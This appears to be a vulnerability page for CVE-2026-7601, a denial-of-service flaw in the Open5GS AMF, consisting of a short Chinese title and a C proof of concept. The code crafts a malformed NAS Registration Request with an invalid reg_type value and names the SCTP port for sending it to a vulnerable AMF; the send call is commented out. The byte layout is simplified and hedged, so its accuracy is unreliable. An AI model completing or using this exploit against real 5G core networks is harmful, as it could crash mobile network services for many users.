CVE-2026-7601 Open5GS AMF组件拒绝服务漏洞

/* * Conceptual PoC for CVE-2026-7601 * Demonstrates how to craft a malformed NAS Registration Request * targeting the Open5GS AMF 'reg_type' parameter. * Note: This requires a valid SCTP association with the AMF in a real scenario. */ #include <stdio.h> #include <string.h> #include <stdint.h> // Simplified NAS PDU structure for demonstration void craft_malformed_nas(uint8_t *buffer, size_t *len) { // NAS Security Header (Plain) buffer[0] = 0x7e; // Registration Request message type buffer[1] = 0x00; // Manipulating the 'reg_type' argument (usually at offset 2 or specific protocol location) // Setting an unexpected value to trigger the parsing logic error buffer[2] = 0xFF; // Malicious reg_type value // Fill with dummy data to simulate packet length memset(buffer + 3, 0x41, 20); *len = 23; } int main() { uint8_t payload[1024]; size_t payload_len; printf("[*] Crafting PoC payload for CVE-2026-7601...\n"); craft_malformed_nas(payload, &payload_len); printf("[*] Payload generated (Length: %zu bytes)\n", payload_len); printf("[*] Malicious reg_type value: 0x%02X\n", payload[2]); // In a real exploit, this payload would be sent over SCTP to the AMF port (e.g., 38412) // sendto(sctp_socket, payload, payload_len, 0, (struct sockaddr *)&amf_addr, addr_len); printf("[!] If sent to a vulnerable Open5GS AMF (< 2.7.7), this should cause a crash (DoS).\n"); return 0; }